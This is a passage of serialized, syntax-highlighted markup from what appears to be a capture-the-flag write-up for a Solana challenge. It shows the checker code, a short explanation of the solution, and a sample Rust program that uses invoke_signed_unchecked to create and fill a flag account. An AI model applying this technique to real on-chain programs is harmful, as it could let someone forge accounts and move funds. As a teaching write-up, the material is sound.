&user).await?;\n",[44242],{"type":24,"tag":32,"props":44243,"children":44244},{"__ignoreMap":7},[44245,44295],{"type":24,"tag":90,"props":44246,"children":44247},{"class":92,"line":93},[44248,44252,44257,44261,44265,44269,44274,44278,44282,44287,44291],{"type":24,"tag":90,"props":44249,"children":44250},{"style":97},[44251],{"type":29,"value":895},{"type":24,"tag":90,"props":44253,"children":44254},{"style":136},[44255],{"type":29,"value":44256}," solve_ix",{"type":24,"tag":90,"props":44258,"children":44259},{"style":120},[44260],{"type":29,"value":216},{"type":24,"tag":90,"props":44262,"children":44263},{"style":136},[44264],{"type":29,"value":43861},{"type":24,"tag":90,"props":44266,"children":44267},{"style":120},[44268],{"type":29,"value":226},{"type":24,"tag":90,"props":44270,"children":44271},{"style":108},[44272],{"type":29,"value":44273},"read_instruction",{"type":24,"tag":90,"props":44275,"children":44276},{"style":114},[44277],{"type":29,"value":43843},{"type":24,"tag":90,"props":44279,"children":44280},{"style":120},[44281],{"type":29,"value":1211},{"type":24,"tag":90,"props":44283,"children":44284},{"style":114},[44285],{"type":29,"value":44286},"ID)",{"type":24,"tag":90,"props":44288,"children":44289},{"style":120},[44290],{"type":29,"value":714},{"type":24,"tag":90,"props":44292,"children":44293},{"style":114},[44294],{"type":29,"value":381},{"type":24,"tag":90,"props":44296,"children":44297},{"class":92,"line":200},[44298,44302,44306,44311,44315,44319,44323,44328,44332,44336,44340,44344,44349,44353,44357,44361,44365,44369,44373,44377],{"type":24,"tag":90,"props":44299,"children":44300},{"style":136},[44301],{"type":29,"value":44030},{"type":24,"tag":90,"props":44303,"children":44304},{"style":120},[44305],{"type":29,"value":226},{"type":24,"tag":90,"props":44307,"children":44308},{"style":108},[44309],{"type":29,"value":44310},"run_ixs_full",{"type":24,"tag":90,"props":44312,"children":44313},{"style":114},[44314],{"type":29,"value":117},{"type":24,"tag":90,"props":44316,"children":44317},{"style":120},[44318],{"type":29,"value":123},{"type":24,"tag":90,"props":44320,"children":44321},{"style":114},[44322],{"type":29,"value":719},{"type":24,"tag":90,"props":44324,"children":44325},{"style":136},[44326],{"type":29,"value":44327},"solve_ix",{"type":24,"tag":90,"props":44329,"children":44330},{"style":114},[44331],{"type":29,"value":24857},{"type":24,"tag":90,"props":44333,"children":44334},{"style":120},[44335],{"type":29,"value":123},{"type":24,"tag":90,"props":44337,"children":44338},{"style":114},[44339],{"type":29,"value":719},{"type":24,"tag":90,"props":44341,"children":44342},{"style":120},[44343],{"type":29,"value":123},{"type":24,"tag":90,"props":44345,"children":44346},{"style":136},[44347],{"type":29,"value":44348},"user_keypair",{"type":24,"tag":90,"props":44350,"children":44351},{"style":114},[44352],{"type":29,"value":24857},{"type":24,"tag":90,"props":44354,"children":44355},{"style":120},[44356],{"type":29,"value":123},{"type":24,"tag":90,"props":44358,"children":44359},{"style":136},[44360],{"type":29,"value":22028},{"type":24,"tag":90,"props":44362,"children":44363},{"style":114},[44364],{"type":29,"value":517},{"type":24,"tag":90,"props":44366,"children":44367},{"style":120},[44368],{"type":29,"value":226},{"type":24,"tag":90,"props":44370,"children":44371},{"style":636},[44372],{"type":29,"value":34730},{"type":24,"tag":90,"props":44374,"children":44375},{"style":120},[44376],{"type":29,"value":714},{"type":24,"tag":90,"props":44378,"children":44379},{"style":114},[44380],{"type":29,"value":381},{"type":24,"tag":3100,"props":44382,"children":44383},{"start":248},[44384],{"type":24,"tag":3104,"props":44385,"children":44386},{},[44387],{"type":29,"value":44388},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":24,"tag":80,"props":44390,"children":44392},{"className":82,"code":44391,"language":84,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[44393],{"type":24,"tag":32,"props":44394,"children":44395},{"__ignoreMap":7},[44396,44480,44571,44612,44696,44703,44740,44797,44842,44857,44893,44900,44907],{"type":24,"tag":90,"props":44397,"children":44398},{"class":92,"line":93},[44399,44403,44408,44412,44416,44420,44425,44429,44433,44437,44442,44446,44451,44456,44460,44464,44468,44472,44476],{"type":24,"tag":90,"props":44400,"children":44401},{"style":97},[44402],{"type":29,"value":895},{"type":24,"tag":90,"props":44404,"children":44405},{"style":136},[44406],{"type":29,"value":44407}," flag",{"type":24,"tag":90,"props":44409,"children":44410},{"style":120},[44411],{"type":29,"value":216},{"type":24,"tag":90,"props":44413,"children":44414},{"style":146},[44415],{"type":29,"value":22653},{"type":24,"tag":90,"props":44417,"children":44418},{"style":120},[44419],{"type":29,"value":1211},{"type":24,"tag":90,"props":44421,"children":44422},{"style":108},[44423],{"type":29,"value":44424},"create_program_address",{"type":24,"tag":90,"props":44426,"children":44427},{"style":114},[44428],{"type":29,"value":117},{"type":24,"tag":90,"props":44430,"children":44431},{"style":120},[44432],{"type":29,"value":123},{"type":24,"tag":90,"props":44434,"children":44435},{"style":114},[44436],{"type":29,"value":719},{"type":24,"tag":90,"props":44438,"children":44439},{"style":1085},[44440],{"type":29,"value":44441},"\"FLAG\"",{"type":24,"tag":90,"props":44443,"children":44444},{"style":120},[44445],{"type":29,"value":226},{"type":24,"tag":90,"props":44447,"children":44448},{"style":108},[44449],{"type":29,"value":44450},"as_ref",{"type":24,"tag":90,"props":44452,"children":44453},{"style":114},[44454],{"type":29,"value":44455},"()], ",{"type":24,"tag":90,"props":44457,"children":44458},{"style":120},[44459],{"type":29,"value":123},{"type":24,"tag":90,"props":44461,"children":44462},{"style":114},[44463],{"type":29,"value":44030},{"type":24,"tag":90,"props":44465,"children":44466},{"style":120},[44467],{"type":29,"value":1211},{"type":24,"tag":90,"props":44469,"children":44470},{"style":114},[44471],{"type":29,"value":44286},{"type":24,"tag":90,"props":44473,"children":44474},{"style":120},[44475],{"type":29,"value":714},{"type":24,"tag":90,"props":44477,"children":44478},{"style":114},[44479],{"type":29,"value":381},{"type":24,"tag":90,"props":44481,"children":44482},{"class":92,"line":200},[44483,44487,44491,44495,44499,44504,44508,44512,44516,44520,44524,44528,44533,44537,44542,44546,44551,44555,44559,44563,44567],{"type":24,"tag":90,"props":44484,"children":44485},{"style":636},[44486],{"type":29,"value":2084},{"type":24,"tag":90,"props":44488,"children":44489},{"style":97},[44490],{"type":29,"value":29114},{"type":24,"tag":90,"props":44492,"children":44493},{"style":146},[44494],{"type":29,"value":29119},{"type":24,"tag":90,"props":44496,"children":44497},{"style":114},[44498],{"type":29,"value":117},{"type":24,"tag":90,"props":44500,"children":44501},{"style":136},[44502],{"type":29,"value":44503},"acct",{"type":24,"tag":90,"props":44505,"children":44506},{"style":114},[44507],{"type":29,"value":172},{"type":24,"tag":90,"props":44509,"children":44510},{"style":120},[44511],{"type":29,"value":5491},{"type":24,"tag":90,"props":44513,"children":44514},{"style":136},[44515],{"type":29,"value":43861},{"type":24,"tag":90,"props":44517,"children":44518},{"style":120},[44519],{"type":29,"value":226},{"type":24,"tag":90,"props":44521,"children":44522},{"style":114},[44523],{"type":29,"value":22076},{"type":24,"tag":90,"props":44525,"children":44526},{"style":120},[44527],{"type":29,"value":226},{"type":24,"tag":90,"props":44529,"children":44530},{"style":114},[44531],{"type":29,"value":44532},"banks_client",{"type":24,"tag":90,"props":44534,"children":44535},{"style":120},[44536],{"type":29,"value":226},{"type":24,"tag":90,"props":44538,"children":44539},{"style":108},[44540],{"type":29,"value":44541},"get_account",{"type":24,"tag":90,"props":44543,"children":44544},{"style":114},[44545],{"type":29,"value":117},{"type":24,"tag":90,"props":44547,"children":44548},{"style":136},[44549],{"type":29,"value":44550},"flag",{"type":24,"tag":90,"props":44552,"children":44553},{"style":114},[44554],{"type":29,"value":517},{"type":24,"tag":90,"props":44556,"children":44557},{"style":120},[44558],{"type":29,"value":226},{"type":24,"tag":90,"props":44560,"children":44561},{"style":636},[44562],{"type":29,"value":34730},{"type":24,"tag":90,"props":44564,"children":44565},{"style":120},[44566],{"type":29,"value":714},{"type":24,"tag":90,"props":44568,"children":44569},{"style":114},[44570],{"type":29,"value":269},{"type":24,"tag":90,"props":44572,"children":44573},{"class":92,"line":239},[44574,44578,44583,44587,44591,44595,44599,44603,44607],{"type":24,"tag":90,"props":44575,"children":44576},{"style":636},[44577],{"type":29,"value":639},{"type":24,"tag":90,"props":44579,"children":44580},{"style":136},[44581],{"type":29,"value":44582}," acct",{"type":24,"tag":90,"props":44584,"children":44585},{"style":120},[44586],{"type":29,"value":226},{"type":24,"tag":90,"props":44588,"children":44589},{"style":114},[44590],{"type":29,"value":481},{"type":24,"tag":90,"props":44592,"children":44593},{"style":120},[44594],{"type":29,"value":226},{"type":24,"tag":90,"props":44596,"children":44597},{"style":108},[44598],{"type":29,"value":11513},{"type":24,"tag":90,"props":44600,"children":44601},{"style":114},[44602],{"type":29,"value":495},{"type":24,"tag":90,"props":44604,"children":44605},{"style":120},[44606],{"type":29,"value":10951},{"type":24,"tag":90,"props":44608,"children":44609},{"style":349},[44610],{"type":29,"value":44611}," 0x1337\n",{"type":24,"tag":90,"props":44613,"children":44614},{"class":92,"line":248},[44615,44620,44624,44628,44633,44637,44641,44645,44650,44654,44658,44662,44666,44670,44674,44678,44682,44687,44691],{"type":24,"tag":90,"props":44616,"children":44617},{"style":120},[44618],{"type":29,"value":44619}," &&",{"type":24,"tag":90,"props":44621,"children":44622},{"style":146},[44623],{"type":29,"value":376},{"type":24,"tag":90,"props":44625,"children":44626},{"style":120},[44627],{"type":29,"value":1211},{"type":24,"tag":90,"props":44629,"children":44630},{"style":108},[44631],{"type":29,"value":44632},"from_le_bytes",{"type":24,"tag":90,"props":44634,"children":44635},{"style":114},[44636],{"type":29,"value":117},{"type":24,"tag":90,"props":44638,"children":44639},{"style":136},[44640],{"type":29,"value":44503},{"type":24,"tag":90,"props":44642,"children":44643},{"style":120},[44644],{"type":29,"value":226},{"type":24,"tag":90,"props":44646,"children":44647},{"style":114},[44648],{"type":29,"value":44649},"data[",{"type":24,"tag":90,"props":44651,"children":44652},{"style":120},[44653],{"type":29,"value":729},{"type":24,"tag":90,"props":44655,"children":44656},{"style":349},[44657],{"type":29,"value":352},{"type":24,"tag":90,"props":44659,"children":44660},{"style":114},[44661],{"type":29,"value":1914},{"type":24,"tag":90,"props":44663,"children":44664},{"style":120},[44665],{"type":29,"value":226},{"type":24,"tag":90,"props":44667,"children":44668},{"style":108},[44669],{"type":29,"value":27971},{"type":24,"tag":90,"props":44671,"children":44672},{"style":114},[44673],{"type":29,"value":314},{"type":24,"tag":90,"props":44675,"children":44676},{"style":120},[44677],{"type":29,"value":226},{"type":24,"tag":90,"props":44679,"children":44680},{"style":108},[44681],{"type":29,"value":6053},{"type":24,"tag":90,"props":44683,"children":44684},{"style":114},[44685],{"type":29,"value":44686},"()) ",{"type":24,"tag":90,"props":44688,"children":44689},{"style":120},[44690],{"type":29,"value":10951},{"type":24,"tag":90,"props":44692,"children":44693},{"style":349},[44694],{"type":29,"value":44695}," 0x4337\n",{"type":24,"tag":90,"props":44697,"children":44698},{"class":92,"line":258},[44699],{"type":24,"tag":90,"props":44700,"children":44701},{"style":114},[44702],{"type":29,"value":30998},{"type":24,"tag":90,"props":44704,"children":44705},{"class":92,"line":272},[44706,44711,44715,44719,44723,44728,44732,44736],{"type":24,"tag":90,"props":44707,"children":44708},{"style":108},[44709],{"type":29,"value":44710}," writeln!",{"type":24,"tag":90,"props":44712,"children":44713},{"style":114},[44714],{"type":29,"value":117},{"type":24,"tag":90,"props":44716,"children":44717},{"style":136},[44718],{"type":29,"value":43756},{"type":24,"tag":90,"props":44720,"children":44721},{"style":114},[44722],{"type":29,"value":133},{"type":24,"tag":90,"props":44724,"children":44725},{"style":1085},[44726],{"type":29,"value":44727},"\"congrats!\"",{"type":24,"tag":90,"props":44729,"children":44730},{"style":114},[44731],{"type":29,"value":517},{"type":24,"tag":90,"props":44733,"children":44734},{"style":120},[44735],{"type":29,"value":714},{"type":24,"tag":90,"props":44737,"children":44738},{"style":114},[44739],{"type":29,"value":381},{"type":24,"tag":90,"props":44741,"children":44742},{"class":92,"line":281},[44743,44747,44751,44756,44760,44764,44768,44772,44777,44781,44785,44789,44793],{"type":24,"tag":90,"props":44744,"children":44745},{"style":636},[44746],{"type":29,"value":5667},{"type":24,"tag":90,"props":44748,"children":44749},{"style":97},[44750],{"type":29,"value":29114},{"type":24,"tag":90,"props":44752,"children":44753},{"style":146},[44754],{"type":29,"value":44755}," Ok",{"type":24,"tag":90,"props":44757,"children":44758},{"style":114},[44759],{"type":29,"value":117},{"type":24,"tag":90,"props":44761,"children":44762},{"style":136},[44763],{"type":29,"value":44550},{"type":24,"tag":90,"props":44765,"children":44766},{"style":114},[44767],{"type":29,"value":172},{"type":24,"tag":90,"props":44769,"children":44770},{"style":120},[44771],{"type":29,"value":5491},{"type":24,"tag":90,"props":44773,"children":44774},{"style":114},[44775],{"type":29,"value":44776}," env",{"type":24,"tag":90,"props":44778,"children":44779},{"style":120},[44780],{"type":29,"value":1211},{"type":24,"tag":90,"props":44782,"children":44783},{"style":108},[44784],{"type":29,"value":36862},{"type":24,"tag":90,"props":44786,"children":44787},{"style":114},[44788],{"type":29,"value":117},{"type":24,"tag":90,"props":44790,"children":44791},{"style":1085},[44792],{"type":29,"value":44441},{"type":24,"tag":90,"props":44794,"children":44795},{"style":114},[44796],{"type":29,"value":1297},{"type":24,"tag":90,"props":44798,"children":44799},{"class":92,"line":384},[44800,44805,44809,44813,44817,44822,44826,44830,44834,44838],{"type":24,"tag":90,"props":44801,"children":44802},{"style":108},[44803],{"type":29,"value":44804}," writeln!",{"type":24,"tag":90,"props":44806,"children":44807},{"style":114},[44808],{"type":29,"value":117},{"type":24,"tag":90,"props":44810,"children":44811},{"style":136},[44812],{"type":29,"value":43756},{"type":24,"tag":90,"props":44814,"children":44815},{"style":114},[44816],{"type":29,"value":133},{"type":24,"tag":90,"props":44818,"children":44819},{"style":1085},[44820],{"type":29,"value":44821},"\"flag: {:?}\"",{"type":24,"tag":90,"props":44823,"children":44824},{"style":114},[44825],{"type":29,"value":133},{"type":24,"tag":90,"props":44827,"children":44828},{"style":136},[44829],{"type":29,"value":44550},{"type":24,"tag":90,"props":44831,"children":44832},{"style":114},[44833],{"type":29,"value":517},{"type":24,"tag":90,"props":44835,"children":44836},{"style":120},[44837],{"type":29,"value":714},{"type":24,"tag":90,"props":44839,"children":44840},{"style":114},[44841],{"type":29,"value":381},{"type":24,"tag":90,"props":44843,"children":44844},{"class":92,"line":420},[44845,44849,44853],{"type":24,"tag":90,"props":44846,"children":44847},{"style":114},[44848],{"type":29,"value":5704},{"type":24,"tag":90,"props":44850,"children":44851},{"style":636},[44852],{"type":29,"value":2293},{"type":24,"tag":90,"props":44854,"children":44855},{"style":114},[44856],{"type":29,"value":269},{"type":24,"tag":90,"props":44858,"children":44859},{"class":92,"line":428},[44860,44864,44868,44872,44876,44881,44885,44889],{"type":24,"tag":90,"props":44861,"children":44862},{"style":108},[44863],{"type":29,"value":44804},{"type":24,"tag":90,"props":44865,"children":44866},{"style":114},[44867],{"type":29,"value":117},{"type":24,"tag":90,"props":44869,"children":44870},{"style":136},[44871],{"type":29,"value":43756},{"type":24,"tag":90,"props":44873,"children":44874},{"style":114},[44875],{"type":29,"value":133},{"type":24,"tag":90,"props":44877,"children":44878},{"style":1085},[44879],{"type":29,"value":44880},"\"flag not found, please contact admin\"",{"type":24,"tag":90,"props":44882,"children":44883},{"style":114},[44884],{"type":29,"value":517},{"type":24,"tag":90,"props":44886,"children":44887},{"style":120},[44888],{"type":29,"value":714},{"type":24,"tag":90,"props":44890,"children":44891},{"style":114},[44892],{"type":29,"value":381},{"type":24,"tag":90,"props":44894,"children":44895},{"class":92,"line":437},[44896],{"type":24,"tag":90,"props":44897,"children":44898},{"style":114},[44899],{"type":29,"value":5740},{"type":24,"tag":90,"props":44901,"children":44902},{"class":92,"line":574},[44903],{"type":24,"tag":90,"props":44904,"children":44905},{"style":114},[44906],{"type":29,"value":612},{"type":24,"tag":90,"props":44908,"children":44909},{"class":92,"line":606},[44910],{"type":24,"tag":90,"props":44911,"children":44912},{"style":114},[44913],{"type":29,"value":827},{"type":24,"tag":850,"props":44915,"children":44917},{"id":44916},"solution-idea",[44918],{"type":29,"value":44919},"Solution Idea",{"type":24,"tag":25,"props":44921,"children":44922},{},[44923,44925,44930],{"type":29,"value":44924},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":24,"tag":32,"props":44926,"children":44928},{"className":44927},[],[44929],{"type":29,"value":37497},{"type":29,"value":44931}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":24,"tag":25,"props":44933,"children":44934},{},[44935,44937,44943],{"type":29,"value":44936},"In order to get the flag, we need to make sure that the account at ",{"type":24,"tag":32,"props":44938,"children":44940},{"className":44939},[],[44941],{"type":29,"value":44942},"PDA(\"FLAG\")",{"type":29,"value":44944}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":24,"tag":25,"props":44946,"children":44947},{},[44948,44950,44957],{"type":29,"value":44949},"Essentially, we need to ",{"type":24,"tag":69,"props":44951,"children":44954},{"href":44952,"rel":44953},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[73],[44955],{"type":29,"value":44956},"invoke the System Program",{"type":29,"value":44958},", and write controlled data into the newly created account.",{"type":24,"tag":25,"props":44960,"children":44961},{},[44962],{"type":29,"value":44963},"A sample program that does this is as follows:",{"type":24,"tag":80,"props":44965,"children":44967},{"className":82,"code":44966,"language":84,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[44968],{"type":24,"tag":32,"props":44969,"children":44970},{"__ignoreMap":7},[44971,44991,45015,45043,45071,45091,45127,45163,45170,45178,45211,45228,45253,45274,45326,45351,45358,45371,45417,45461,45469,45477,45488,45504,45515,45535,45555,45562,45598,45613,45620,45628,45707,45714,45725],{"type":24,"tag":90,"props":44972,"children":44973},{"class":92,"line":93},[44974,44978,44982,44987],{"type":24,"tag":90,"props":44975,"children":44976},{"style":97},[44977],{"type":29,"value":100},{"type":24,"tag":90,"props":44979,"children":44980},{"style":97},[44981],{"type":29,"value":105},{"type":24,"tag":90,"props":44983,"children":44984},{"style":108},[44985],{"type":29,"value":44986}," process_instruction",{"type":24,"tag":90,"props":44988,"children":44989},{"style":114},[44990],{"type":29,"value":680},{"type":24,"tag":90,"props":44992,"children":44993},{"class":92,"line":200},[44994,44999,45003,45007,45011],{"type":24,"tag":90,"props":44995,"children":44996},{"style":136},[44997],{"type":29,"value":44998}," program_id",{"type":24,"tag":90,"props":45000,"children":45001},{"style":120},[45002],{"type":29,"value":78},{"type":24,"tag":90,"props":45004,"children":45005},{"style":120},[45006],{"type":29,"value":455},{"type":24,"tag":90,"props":45008,"children":45009},{"style":146},[45010],{"type":29,"value":23194},{"type":24,"tag":90,"props":45012,"children":45013},{"style":114},[45014],{"type":29,"value":748},{"type":24,"tag":90,"props":45016,"children":45017},{"class":92,"line":239},[45018,45023,45027,45031,45035,45039],{"type":24,"tag":90,"props":45019,"children":45020},{"style":136},[45021],{"type":29,"value":45022}," accounts",{"type":24,"tag":90,"props":45024,"children":45025},{"style":120},[45026],{"type":29,"value":78},{"type":24,"tag":90,"props":45028,"children":45029},{"style":120},[45030],{"type":29,"value":455},{"type":24,"tag":90,"props":45032,"children":45033},{"style":114},[45034],{"type":29,"value":719},{"type":24,"tag":90,"props":45036,"children":45037},{"style":146},[45038],{"type":29,"value":1434},{"type":24,"tag":90,"props":45040,"children":45041},{"style":114},[45042],{"type":29,"value":734},{"type":24,"tag":90,"props":45044,"children":45045},{"class":92,"line":248},[45046,45051,45055,45059,45063,45067],{"type":24,"tag":90,"props":45047,"children":45048},{"style":136},[45049],{"type":29,"value":45050}," data",{"type":24,"tag":90,"props":45052,"children":45053},{"style":120},[45054],{"type":29,"value":78},{"type":24,"tag":90,"props":45056,"children":45057},{"style":120},[45058],{"type":29,"value":455},{"type":24,"tag":90,"props":45060,"children":45061},{"style":114},[45062],{"type":29,"value":719},{"type":24,"tag":90,"props":45064,"children":45065},{"style":146},[45066],{"type":29,"value":1409},{"type":24,"tag":90,"props":45068,"children":45069},{"style":114},[45070],{"type":29,"value":14141},{"type":24,"tag":90,"props":45072,"children":45073},{"class":92,"line":258},[45074,45078,45082,45087],{"type":24,"tag":90,"props":45075,"children":45076},{"style":114},[45077],{"type":29,"value":172},{"type":24,"tag":90,"props":45079,"children":45080},{"style":120},[45081],{"type":29,"value":177},{"type":24,"tag":90,"props":45083,"children":45084},{"style":146},[45085],{"type":29,"value":45086}," ProgramResult",{"type":24,"tag":90,"props":45088,"children":45089},{"style":114},[45090],{"type":29,"value":269},{"type":24,"tag":90,"props":45092,"children":45093},{"class":92,"line":272},[45094,45098,45103,45107,45111,45115,45119,45123],{"type":24,"tag":90,"props":45095,"children":45096},{"style":97},[45097],{"type":29,"value":206},{"type":24,"tag":90,"props":45099,"children":45100},{"style":136},[45101],{"type":29,"value":45102}," flag_pda_ai",{"type":24,"tag":90,"props":45104,"children":45105},{"style":120},[45106],{"type":29,"value":216},{"type":24,"tag":90,"props":45108,"children":45109},{"style":120},[45110],{"type":29,"value":455},{"type":24,"tag":90,"props":45112,"children":45113},{"style":136},[45114],{"type":29,"value":1165},{"type":24,"tag":90,"props":45116,"children":45117},{"style":114},[45118],{"type":29,"value":719},{"type":24,"tag":90,"props":45120,"children":45121},{"style":349},[45122],{"type":29,"value":6408},{"type":24,"tag":90,"props":45124,"children":45125},{"style":114},[45126],{"type":29,"value":33387},{"type":24,"tag":90,"props":45128,"children":45129},{"class":92,"line":281},[45130,45134,45139,45143,45147,45151,45155,45159],{"type":24,"tag":90,"props":45131,"children":45132},{"style":97},[45133],{"type":29,"value":206},{"type":24,"tag":90,"props":45135,"children":45136},{"style":136},[45137],{"type":29,"value":45138}," user_ai",{"type":24,"tag":90,"props":45140,"children":45141},{"style":120},[45142],{"type":29,"value":216},{"type":24,"tag":90,"props":45144,"children":45145},{"style":120},[45146],{"type":29,"value":455},{"type":24,"tag":90,"props":45148,"children":45149},{"style":136},[45150],{"type":29,"value":1165},{"type":24,"tag":90,"props":45152,"children":45153},{"style":114},[45154],{"type":29,"value":719},{"type":24,"tag":90,"props":45156,"children":45157},{"style":349},[45158],{"type":29,"value":534},{"type":24,"tag":90,"props":45160,"children":45161},{"style":114},[45162],{"type":29,"value":33387},{"type":24,"tag":90,"props":45164,"children":45165},{"class":92,"line":384},[45166],{"type":24,"tag":90,"props":45167,"children":45168},{"emptyLinePlaceholder":16},[45169],{"type":29,"value":245},{"type":24,"tag":90,"props":45171,"children":45172},{"class":92,"line":420},[45173],{"type":24,"tag":90,"props":45174,"children":45175},{"style":252},[45176],{"type":29,"value":45177}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":24,"tag":90,"props":45179,"children":45180},{"class":92,"line":428},[45181,45185,45190,45194,45198,45202,45207],{"type":24,"tag":90,"props":45182,"children":45183},{"style":97},[45184],{"type":29,"value":206},{"type":24,"tag":90,"props":45186,"children":45187},{"style":136},[45188],{"type":29,"value":45189}," instruction",{"type":24,"tag":90,"props":45191,"children":45192},{"style":120},[45193],{"type":29,"value":216},{"type":24,"tag":90,"props":45195,"children":45196},{"style":146},[45197],{"type":29,"value":42829},{"type":24,"tag":90,"props":45199,"children":45200},{"style":120},[45201],{"type":29,"value":1211},{"type":24,"tag":90,"props":45203,"children":45204},{"style":108},[45205],{"type":29,"value":45206},"new_with_bincode",{"type":24,"tag":90,"props":45208,"children":45209},{"style":114},[45210],{"type":29,"value":680},{"type":24,"tag":90,"props":45212,"children":45213},{"class":92,"line":437},[45214,45219,45223],{"type":24,"tag":90,"props":45215,"children":45216},{"style":114},[45217],{"type":29,"value":45218}," system_program",{"type":24,"tag":90,"props":45220,"children":45221},{"style":120},[45222],{"type":29,"value":1211},{"type":24,"tag":90,"props":45224,"children":45225},{"style":114},[45226],{"type":29,"value":45227},"ID,\n",{"type":24,"tag":90,"props":45229,"children":45230},{"class":92,"line":574},[45231,45235,45240,45244,45249],{"type":24,"tag":90,"props":45232,"children":45233},{"style":120},[45234],{"type":29,"value":5861},{"type":24,"tag":90,"props":45236,"children":45237},{"style":114},[45238],{"type":29,"value":45239},"SystemInstruction",{"type":24,"tag":90,"props":45241,"children":45242},{"style":120},[45243],{"type":29,"value":1211},{"type":24,"tag":90,"props":45245,"children":45246},{"style":146},[45247],{"type":29,"value":45248},"CreateAccount",{"type":24,"tag":90,"props":45250,"children":45251},{"style":114},[45252],{"type":29,"value":269},{"type":24,"tag":90,"props":45254,"children":45255},{"class":92,"line":606},[45256,45261,45265,45270],{"type":24,"tag":90,"props":45257,"children":45258},{"style":136},[45259],{"type":29,"value":45260}," space",{"type":24,"tag":90,"props":45262,"children":45263},{"style":120},[45264],{"type":29,"value":78},{"type":24,"tag":90,"props":45266,"children":45267},{"style":349},[45268],{"type":29,"value":45269}," 0x1337",{"type":24,"tag":90,"props":45271,"children":45272},{"style":114},[45273],{"type":29,"value":748},{"type":24,"tag":90,"props":45275,"children":45276},{"class":92,"line":615},[45277,45282,45286,45291,45295,45300,45304,45308,45313,45317,45322],{"type":24,"tag":90,"props":45278,"children":45279},{"style":136},[45280],{"type":29,"value":45281}," lamports",{"type":24,"tag":90,"props":45283,"children":45284},{"style":120},[45285],{"type":29,"value":78},{"type":24,"tag":90,"props":45287,"children":45288},{"style":114},[45289],{"type":29,"value":45290}," Rent",{"type":24,"tag":90,"props":45292,"children":45293},{"style":120},[45294],{"type":29,"value":1211},{"type":24,"tag":90,"props":45296,"children":45297},{"style":108},[45298],{"type":29,"value":45299},"default",{"type":24,"tag":90,"props":45301,"children":45302},{"style":114},[45303],{"type":29,"value":314},{"type":24,"tag":90,"props":45305,"children":45306},{"style":120},[45307],{"type":29,"value":226},{"type":24,"tag":90,"props":45309,"children":45310},{"style":108},[45311],{"type":29,"value":45312},"minimum_balance",{"type":24,"tag":90,"props":45314,"children":45315},{"style":114},[45316],{"type":29,"value":117},{"type":24,"tag":90,"props":45318,"children":45319},{"style":349},[45320],{"type":29,"value":45321},"0x1337",{"type":24,"tag":90,"props":45323,"children":45324},{"style":114},[45325],{"type":29,"value":779},{"type":24,"tag":90,"props":45327,"children":45328},{"class":92,"line":623},[45329,45334,45338,45342,45346],{"type":24,"tag":90,"props":45330,"children":45331},{"style":136},[45332],{"type":29,"value":45333}," owner",{"type":24,"tag":90,"props":45335,"children":45336},{"style":120},[45337],{"type":29,"value":78},{"type":24,"tag":90,"props":45339,"children":45340},{"style":114},[45341],{"type":29,"value":43861},{"type":24,"tag":90,"props":45343,"children":45344},{"style":120},[45345],{"type":29,"value":1211},{"type":24,"tag":90,"props":45347,"children":45348},{"style":114},[45349],{"type":29,"value":45350},"ID\n",{"type":24,"tag":90,"props":45352,"children":45353},{"class":92,"line":632},[45354],{"type":24,"tag":90,"props":45355,"children":45356},{"style":114},[45357],{"type":29,"value":27182},{"type":24,"tag":90,"props":45359,"children":45360},{"class":92,"line":669},[45361,45366],{"type":24,"tag":90,"props":45362,"children":45363},{"style":108},[45364],{"type":29,"value":45365}," vec!",{"type":24,"tag":90,"props":45367,"children":45368},{"style":114},[45369],{"type":29,"value":45370},"[\n",{"type":24,"tag":90,"props":45372,"children":45373},{"class":92,"line":683},[45374,45379,45383,45387,45391,45395,45400,45404,45409,45413],{"type":24,"tag":90,"props":45375,"children":45376},{"style":114},[45377],{"type":29,"value":45378}," AccountMeta",{"type":24,"tag":90,"props":45380,"children":45381},{"style":120},[45382],{"type":29,"value":1211},{"type":24,"tag":90,"props":45384,"children":45385},{"style":108},[45386],{"type":29,"value":1622},{"type":24,"tag":90,"props":45388,"children":45389},{"style":114},[45390],{"type":29,"value":117},{"type":24,"tag":90,"props":45392,"children":45393},{"style":120},[45394],{"type":29,"value":983},{"type":24,"tag":90,"props":45396,"children":45397},{"style":136},[45398],{"type":29,"value":45399},"user_ai",{"type":24,"tag":90,"props":45401,"children":45402},{"style":120},[45403],{"type":29,"value":226},{"type":24,"tag":90,"props":45405,"children":45406},{"style":114},[45407],{"type":29,"value":45408},"key, 